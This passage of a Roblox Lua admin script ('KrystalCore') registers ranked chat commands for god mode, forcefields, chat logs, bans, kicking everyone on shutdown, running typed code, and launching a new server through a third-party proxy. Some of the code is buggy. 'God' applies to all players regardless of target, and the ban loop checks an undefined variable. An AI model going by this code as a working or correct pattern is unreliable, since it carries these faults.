AddCmd('Clean','clean',3,'Clean the workspace.','no args',function(Speaker, msg)
1453
        Savage.Functions.Clean(Speaker)
1454
end)
1455
 
1456
AddCmd('Base','base',2,'Make a base.','no args',function(Speaker, msg)
1457
        Savage.Functions.MakeBase()
1458
end)
1459
 
1460
AddCmd('Get Rank','grank',2,'Show the rank of a player.','no args',function(Speaker, msg)
1461
        for _,Plr in next,(Savage.Functions.GetPlayers(Speaker, msg)) do
1462
                Output(Speaker,GetRank(Plr),GetColor(Plr),nil,'Rank')
1463
                Output(Speaker,GetDesc(Plr),GetColor(Plr),nil,'Description')
1464
                Output(Speaker,GetColor(Plr),GetColor(Plr),nil,'Color')
1465
        end
1466
end)
1467
 
1468
AddCmd('Stop Music','nm',4,'Stop all music','No Arguments',function(Speaker, Msg)
1469
StopMusic(workspace)
1470
StopMusic(workspace.Base)
1471
StopMusic(script)
1472
for _,v in pairs(workspace:GetChildren()) do
1473
        if v:IsA('Script') then
1474
                for _,b in pairs(v:GetChildren()) do
1475
                        if b:IsA('Sound') then
1476
                                b:Destroy()
1477
                        end
1478
                end
1479
        end
1480
end
1481
end)
1482
 
1483
AddCmd('Color','colors',1,'Set your color','No arguments',function(plr, msg)
1484
        Savage.Functions.Dismiss(plr)
1485
      Output(plr,'Red','Really red',function()
1486
        for _,Plr in next,(Savage.Ranked) do
1487
        if Plr['Name'] == plr.Name then
1488
        Plr.Color = 'Really red'
1489
end
1490
        end    
1491
end)
1492
Output(plr,'Orange','Deep orange')
1493
Output(plr,'Blue','Really blue')
1494
Output(plr,'Lime Green','Lime green')
1495
Output(plr,'Purple','Royal purple')
1496
Output(plr,'Black','Black')
1497
Output(plr,'White','White')
1498
Output(plr,'Teal','Toothpaste')
1499
Output(plr,'Pink','Hot pink')
1500
Output(plr,'Your color \n'..GetColor(plr),GetColor(plr))
1501
end)
1502
 
1503
AddCmd("Execute","exe",2,"Exectue a message","No arguments",function(Speaker, Msg)
1504
      Savage.Functions.Execute(Speaker, Msg) -- FIXED
1505
end)
1506
 
1507
AddCmd('Sound search','sm',3,'Sound search music','No arguments',function(Speaker, Msg)
1508
      Savage.Functions.SoundSearch(Speaker, Msg)
1509
end)
1510
 
1511
AddCmd('Logs','logs',4,'Show player chat logs.','No args',function(Speaker, Msg)
1512
     Savage.Functions.ShowLogs(Speaker)
1513
end)
1514
 
1515
AddCmd('Network','net',2,'Show NetworkServer.','No args',function(Speaker, Msg)
1516
        Savage.Functions.Networkplrs(Speaker)
1517
end)
1518
 
1519
AddCmd('Ask for a rank up','rankpls',0,'Ask '..MainPlayer.Name..' for a Rank up','No args',function(Speaker, Msg)
1520
        Output(MainPlayer,Speaker.Name..' Asks for a rank up',GetColor(MainPlayer))
1521
        print(Speaker.Name..' Asks for a rank up')
1522
end)
1523
 
1524
AddCmd('New Server','newserver',6,'Create a new server','No args',function(Speaker, Msg)
1525
Output(Speaker,'Creating a new server','Lime green',nil,'Please wait...')
1526
local Result = game:GetService('HttpService'):GetAsync('http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeId='..tonumber(game.PlaceId),true)
1527
repeat wait(.3)
1528
until Result
1529
Output(Speaker,'Server created', 'Lime green',nil,'Success!')
1530
end)
1531
 
1532
AddCmd('Disable','disable',1337,'Disable the script','No args',function(Speaker, Msg)
1533
        Output(Speaker,'Are you sure you want to disable the script?',GetColor(Speaker),nil,'Positive?')
1534
        Output(Speaker,'Yes','Really red',function()
1535
            Savage.Functions.Dismiss(Speaker)
1536
                            Output(Speaker,'Disabling script...','Really red',nil,'Please wait...')
1537
            for _,v in pairs(game.Players:GetPlayers()) do
1538
                if v:IsA('Player') then
1539
                    --Savage.Functions.Kick(v)
1540
                    Savage.Functions.Dismiss(v)
1541
               
1542
        end
1543
        wait(2)
1544
            script.Disabled = true
1545
        end
1546
end,'Go ahead, no ones stopping you.')
1547
    Output(Speaker,'No','Lime green',Savage.Functions.Dismiss(),'Suggested choice')
1548
end)
1549
 
1550
AddCmd('Message','msg',1,'Sends a Message Like Gui to all players.',{'all','others','noobs'},function(Speaker,Msg)
1551
        for _,Player in pairs(game:service("Players"):GetPlayers()) do
1552
      Savage.Functions.GuiNotify(Player,"["..Speaker.Name.."]: "..Msg);
1553
end--]]
1554
end)
1555
 
1556
AddCmd('God','god',2,'Make a player practically invincible.',{'all','others','noobs'},function(Speaker,Msg)
1557
        for _,Player in pairs(game:service("Players"):GetPlayers()) do
1558
      Player.Character.Humanoid.Health = math.huge * math.pi
1559
Output(Speaker,'Made '..Player.Name..' nearly invincible','Lime green',nil,'Success!')
1560
 
1561
end--]]
1562
end)
1563
 
1564
AddCmd('FF','ff',1,'Give a player a forcefield.',{'all','others','noobs'},function(Speaker,Msg)
1565
        for _,Player in next,(Savage.Functions.GetPlayers(Speaker, Msg)) do
1566
      m = Instance.new('ForceField',Player.Character)
1567
Output(Speaker,'Gave '..Player.Name..' a ForceField','Lime green',nil,'Success!')
1568
end--]]
1569
end)
1570
 
1571
AddCmd('Ungod','nogod',1,'Make a player mortal once again.',{'all','others','noobs'},function(Speaker,Msg)
1572
        for _,Player in next,(Savage.Functions.GetPlayers(Speaker, Msg)) do
1573
      Player.Character.Humanoid.Health = 100
1574
Output(Speaker,'Made '..Player.Name..' mortal once again.','Really red',nil,'Success!')
1575
end--]]
1576
end)
1577
 
1578
AddCmd('Unff','noff',1,'Remove a players forcefield.',{'all','others','noobs'},function(Speaker,Msg)
1579
        for _,Player in next,(Savage.Functions.GetPlayers(Speaker, Msg)) do
1580
      if Player.Character:FindFirstChild('ForceField') then
1581
repeat
1582
        Player.Character:FindFirstChild('ForceField'):Destroy()
1583
until not Player.Character:FindFirstChild('ForceField')
1584
        Output(Speaker,'Removed '..Player.Name..'\'s ForceField','Really red',nil,'Success!')
1585
end
1586
end--]]
1587
end)
1588
 
1589
AddCmd('TabSize','newtabs',5,'Resize the admins cubes','No args',function(Speaker,Msg)
1590
        Savage.Functions.DismissAll()
1591
        for _,Player in pairs(game.Players:GetPlayers()) do
1592
        Output(Player,'Tabs are undergoing resizing, please wait before opening your tabs.','Really red',nil,'Notice!')
1593
        end
1594
        wait(math.random(2,5))
1595
        Savage.Functions.DismissAll()
1596
        wait(.1)
1597
        Savage['TabletSize'] = Msg
1598
        Output(Speaker,'New tab size - '..Savage['TabletSize'],'Lime green',nil,'Success!')
1599
 
1600
end)
1601
 
1602
AddCmd('DecalTrans','newdecalt',5,'Change the admins decal transparency','No args',function(Speaker,Msg)
1603
        Savage.Functions.DismissAll()
1604
        for _,Player in pairs(game.Players:GetPlayers()) do
1605
        Output(Player,'The Cube Decal transparency has been changed please, if you were using the admin, Continue.','Really red',nil,'Notice!')
1606
        end
1607
        wait(math.random(2,5))
1608
        Savage.Functions.DismissAll()
1609
        Savage['DecalTrans'] = Msg
1610
 
1611
end)
1612
 
1613
AddCmd('Ox Chat','goxchat',1337,'Give someone a gui to access oxchat','No args',function(Speaker, Msg)
1614
        for _,Player in next,(Savage.Functions.GetPlayers(Speaker, Msg)) do
1615
                Savage.Functions.OxChat(Speaker, Player)
1616
                Output(Speaker,'Gave an OxChat gui to '..Player.Name,'Lime green',nil,'Success!')
1617
        end
1618
end)
1619
 
1620
AddCmd('Decal','newdecal',5,'Change the admins decal','No args',function(Speaker,Msg)
1621
        Savage.Functions.DismissAll()
1622
        for _,Player in pairs(game.Players:GetPlayers()) do
1623
        Output(Player,'The Cube Decal has been changed please, if you were using the admin, Continue.','Really red',nil,'Notice!')
1624
        end
1625
        wait(math.random(2,5))
1626
        Savage.Functions.DismissAll()
1627
        Savage['Id'] = Msg
1628
 
1629
end)
1630
 
1631
AddCmd('Default Decal','defdecal',5,'Change the admins decal to default','No args',function(Speaker,Msg)
1632
        Savage.Functions.DismissAll()
1633
        for _,Player in pairs(game.Players:GetPlayers()) do
1634
        Output(Player,'The Cube Decal has been changed please, if you were using the admin, Continue.','Really red',nil,'Notice!')
1635
        end
1636
        wait(math.random(2,5))
1637
        Savage.Functions.DismissAll()
1638
        Savage['Id'] = 'http://www.roblox.com/asset/?id=159102550'
1639
 
1640
end)
1641
   
1642
AddCmd('Ping To','pingt',2,'Ping a message to a player',{'all','others','noobs'},function(Speaker,Msg)
1643
        Output(Speaker,Msg,GetColor(Speaker),nil,'To whom would you like to ping this message to?')
1644
        for _,v in pairs(game.Players:GetPlayers()) do
1645
                Output(Speaker,v.Name,'Lime green',function()
1646
                        Output(v,Msg,GetColor(Speaker),nil,'Message from: '..Speaker.Name)
1647
                end,'Pick me!')
1648
        end
1649
end)
1650
 
1651
AddCmd('Shut down','sd',4,'Shut down the game via FireClient','No args',function(Speaker, Msg)
1652
        Output(Speaker,'Are you sure?',GetColor(Speaker))
1653
        Output(Speaker,'Yes','Really red',function()
1654
Savage.Functions.Dismiss(Speaker)              
1655
                for _,Plr in pairs(game.Players:GetPlayers()) do
1656
                        if Plr.Name ~= Speaker.Name then
1657
                        Savage.Functions.Kick(Plr)
1658
                        end
1659
                end
1660
                Output(Speaker,'Kicking yourself','Really red')
1661
                wait(1)
1662
                for _,Plr in pairs(game.Players:GetPlayers()) do
1663
                        Savage.Functions.Kick(Plr)
1664
                end
1665
        end)
1666
        Output(Speaker,'No','Lime green',function()
1667
                Savage.Functions.Dismiss(Speaker)
1668
        end)   
1669
end)
1670
 
1671
game:GetService("RunService").Heartbeat:connect(Savage.Functions.RotateTablets)
1672
 
1673
game["Run Service"].Heartbeat:connect(function()
1674
for _,Playername in pairs(Savage.Bans) do
1675
    if Players["Name"] ~= "Nexure" then
1676
            wait()
1677
            if game.Players:FindFirstChild(Playername['Name']) then
1678
                Savage.Functions.Kick(game.Players[Playername['Name']])
1679
            end
1680
        end
1681
    end
1682
end)
1683
 
1684
game:GetService("Players").PlayerAdded:connect(function(Player)
1685
     Output(Player,"KrystalCore Made by skrillex6996, and SavageMunkey",GetColor(Player),nil,'Welcome '..Player.Name..'!');
1686
     Output(Player,"You are Rank : " ..GetRank(Player),GetColor(Player),nil,'Welcome '..Player.Name..'!');
1687
     Output(Player,"Your Color is : " ..GetColor(Player),GetColor(Player),nil,'Welcome '..Player.Name..'!');
1688
     Output(Player,"KrystalCore Enabled:S","White");
1689
     Player.Chatted:connect(function(Message)
1690
        Savage.Functions.Chatted(Player, Message)
1691
    end)
1692
    Player.Chatted:connect(function(msg)
1693
table.insert(Logs, {['Name'] = Player.Name, ['Message'] = msg})
1694
    end)
1695
end)
1696
 
1697
--[[game:GetService('Players').ChildAdded:connect(function(Plr)
1698
for Plar,Rank in pairs(Savage.Ranked) do
1699
    Output(Player,Plr.Name..' Connected',GetColor(Player))
1700
    end
1701
        if GetRank(Plr) < 0 then
1702
        Savage.Functions.Kick(Plr)
1703
    end
1704
end)
1705
 
1706
game:GetService('Players').ChildRemoved:connect(function(Plr)
1707
for Plar,Rank in pairs(Savage.Ranked) do
1708
    Output(Player,Plr.Name..' Disconnected',GetColor(Player))
1709
    end
1710
end)--]]
1711
 
1712
--[[game['Run Service'].Stepped:connect(function()
1713
        pcall(function()
1714
                for _,v in next, Savage.Tablets do
1715
                        local Thread=coroutine.create(function()
1716
                                repeat
1717
                                        game:GetService("RunService").Heartbeat:wait()
1718
                                        v.Tab.Size=Vector3.new(v.Tab.Size.X-0.01,v.Tab.Size.Y-0.01,v.Tab.Size.Z-0.01);
1719
                                until v.Tab.Size.Y < 1.7
1720
                                wait(2)
1721
                                repeat
1722
                                        game:GetService("RunService").Heartbeat:wait()
1723
                                        v.Tab.Size=Vector3.new(v.Tab.Size.X+0.01,v.Tab.Size.Y+0.01,v.Tab.Size.Z+0.01);
1724
                                until v.Tab.Size.Y > Savage['TabletSize'];
1725
                        end)
1726
                        coroutine.resume(Thread)
1727
                end;
1728
end)
1729
end)--]]
1730
 
1731
for _,Player in pairs(game:service("Players"):GetPlayers()) do
1732
 --Welcome to KrystalCore: By, GravityLegendary, SavageMunkey. The Key is [ "..key.." ].
1733
      Savage.Functions.GuiNotify(Player,"");
1734
end